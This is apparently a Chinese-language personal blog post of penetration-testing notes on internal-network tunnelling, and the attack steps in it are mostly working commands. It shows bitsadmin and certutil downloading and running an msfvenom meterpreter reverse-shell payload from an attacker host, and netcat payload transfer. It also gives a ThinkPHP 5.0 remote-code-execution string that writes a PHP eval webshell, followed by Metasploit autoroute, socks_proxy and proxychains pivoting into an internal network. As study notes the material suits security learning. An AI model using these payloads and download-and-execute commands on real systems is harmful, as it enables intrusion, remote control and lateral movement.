内网隧道

文件传输

windows下文件传输

Bitsadmin

这个是用于win接受就可以不一定需要linux挂载

  1. 我们可以通过这个命令将我们托管的payload下载下来

  2. 下面是我们的具体步骤

    • 攻击者使用linux的apache服务挂载我们的payload
    • 然后使用下在win直接下载就行了
  3. 演示

    我已经将payload挂载到网络上,现在准备从win上载

    1
    bitsadmin /transfer shell http://ip/文件 本机目的地

    然后运行payload

    我这里是使用的.hta文件

    1
    rundll32.exe url.dll,OpenURL .hta(目标文件)

    然后就会在msf接收到新的会话

    为了防止msf命令忘记,下面复习一下常用的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
           msfconsole  进入msf
    msfvenom 审生成payload
    jobs 查看生成的监听器
    handler 创建监听器
    sessions -i session_id 进入到某个seesion
    exit 退出监听,或者退出msf

    ### certutil

    这个指令用于安装证书服务,也可以用于显示证书颁发机构的信息,备份和还原CA组件

    下面就展示一下他的用法

    1. 生成一个payload

    ```shell
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port -f exe > test.exe
  4. 将payload移动到apache目录

    1
    mv test.exe /var/www/html
  5. 使用certutil.exe下载

    1
    certutil.exe -urlcache -split -f http://ip/file myPath
  6. 启动payload

  7. 清除缓存

    1
    certutil.exe -urlcache -split -f http://ip/file myPath delete

linux和win的文件互传

scp

当用户的主机存在scp的话我们就可以使用这个

  1. 安装scp

    主要是可能不会在win安装这个程序,所以问哦们需要安装

  2. 使用

    1
    2
    3
    4
    5
    6
    7
    8
    #scp下载文件
    scp user@ip:file_path/file_name myfilename
    #下载文件夹
    scp -r user@ip:file_path/file_name myfilename/
    #scp上传文件
    scp myfilename user@ip:file_path/file_name
    #scp下载文件夹
    scp -r myfilename/ user@ip:file_path/file_name

建立共享文件

用于win之间传输文件

1
net use k: \\10.10.10.1\c&  /user:administrator 'root'

vbs脚本

编写一个脚本文件用于下载文件

linux下的文件传输

wget 下载

curl下载

就是一个服务工具

netcat

简单的讲是使用nc进行操作,nc也可以用于反弹shell

被攻击者被动

  1. 攻击者

    1
    cat payload | nc -lvvp port 
  2. 被攻击者

    1
    nc ip port > payload

    这个过程比较的缓慢,需要等一下

    而且好了也不会停止,需要暂停了才知道

被攻击者主动

  1. 攻击者

    1
    nc ip port < payload
  2. 被攻击者

    1
    nc -lvvp port > payload

sftp

这个使用运用了ssh协议

dns传输数据

socks代理

代理

代理服务器就相当于一个转发信息的中间人

转发客户端和服务端的消息

正向代理

当我们无法访问的的时候我们就需要使用正向代理,来跨过防火墙

image-20231020215251402

反向代理

image-20231020215341294

可以理解为我们需要访问内网,但是现在只有反向代理服务器出网,所以我们使用这种方法来访问反向代理服务器,然后由反向代理服务器作为转发来连接服务内网服务器

这样来看我们可以可理解为反向代理服务器就是我们需要的资源服务器

现在使用最多的反向代理服务器是 NGINX

透明代理

而可以理解为,透明代理会帮助你筛选,如果你访问的是合理的就让你通过,如果不太合理,那么我们就不允许访问

客户端 A 和客户端 B 并不知道行为管理设备充当透明代理行为,当用户 A 或用户 B 向服务器 A 或服 务器 B 提交请求的时候,透明代理设备根据自身策略拦截并修改用户 A 或 B 的报文,并作为实际的请 求方,向服务器 A 或 B 发送请求,当接收信息回传,透明代理再根据自身的设置把允许的报文发回至 用户 A 或 B,如上图,如果透明代理设置不允许访问服务器 B,那么用户 A 或者用户 B 就不会得到服 务器 B 的数据。

socks

这个是一个协议,存在于应用层,可以理解为中间传递的方式。使用TCP/IP协议,因而不提供如传递ICMP信息之类的网络层网关服务。

如今大型的网络架构,利用网络防火墙搭建起内部网络与外部网络的屏障,这些防火墙通常以应用层网关的形式工作在网络之间。

而socks则通过框架来使这些协议安全透明地通过防火墙。

但是socks代理当中我们不能代理ping原因是ping 是使用的是ICMP协议,socks是使用的是TCP/IP协议

socks代理

  1. 被代理端与代理服务器通过 SOCKS4/5 代理协议进行通讯;

  2. SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有 协议限制;

  3. SOCKS4a:SOCKS4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问

  4. SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后 客户端需要先发送请求来确认协议版本及认证方式,相对前面的版本这个版本当中支持的协议更多,相对前面更加的安全

socks代理和vpn的区别

vpn

vpn(Virtual Private Network,虚拟专用网络),可以通过公共网络

(互联网)建立起加密,私密的连接技术

主要是用于当处于外网的时候使用vpn访问公司内部的资料

image-20231020222033527

socks5代理工具

  1. frp
  2. ProxyChains

socks代理实战一(MSF)

如何通过TTL判断是什么系统】

  • win 128 255
  • linux 64 255
  • macos 64 128

信息收集

拿到了对方的IP我们可以做以下的信息收集

namp端收集
1
nmap -A -T4  -p- --script vuln ip

-A -p- 启动扫描所有的端口

-T4 速度(0->5) 慢到

image-20231021111332601

根据结果我们可以使用nmap的扫描出来的结果针对不同的服务指定不同的攻击计划

针对21/22采用弱口令爆破
根据网站路径渗透

我们可以尝试使用不同的URL地址来测试是否可以登录

1
2
dirb http://192.168.134.137

扫描url路径

路径利用

使用扫描出来的路径判断有哪些是可以使用的

image-20231021112709622

爆破出来一个

根据框架利用漏洞

Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可GetShell

1
2
3
4
5
6
7
8
9
10
11
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpin
fo&vars[1][]=1


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=syste
m&vars[1][]=whoami



/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[c]);?>

image-20231021113101731

我们测试我们上传的一句话木马

image-20231021113536611

使用连接工具连接

image-20231021113835911

记得路径

但是这只是一个跳板机边缘

拿到跳板机后
查看网段

image-20231021114452073

我们可以根据此网段发现其他的存活主机,就会遇到一个问题怎么获取其他存活的ip

但是有该主机上面不存在渗透工具,所以出现了socks代理

msf连接跳板机搭建socks代理

  • 使用msf连接到会话(不展示)

  • 使用run开启后渗透模块

    1
    2
    run autoroute -s 网段
    run autoroute -h 使用帮助
  • 退回msf

  • 使用代理模块

    1
    2
    use auxiliary/server/socks_proxy
    options 查看对应的逻辑

    image-20231022002940628

    1
    2
    run 启动这个模块
    jobs 查看当前的运行的服务

    可以查看端口是否开启

  • 配置代理攻击

    1
    sudo vim /etc/proxychains4.conf  

    image-20231022003719072

    端口要和绑定的一样

  • 然后使用代理连接内网机

    1
    proxychains curl http://192.168.22.22
  • 对内网机经行端口扫描

    1
    proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22 

    由于代理不是很稳定,所以我们重新开启一下


内网隧道
https://tsy244.github.io/2023/10/07/渗透/内网隧道/
Author
August Rosenberg
Posted on
October 7, 2023
Licensed under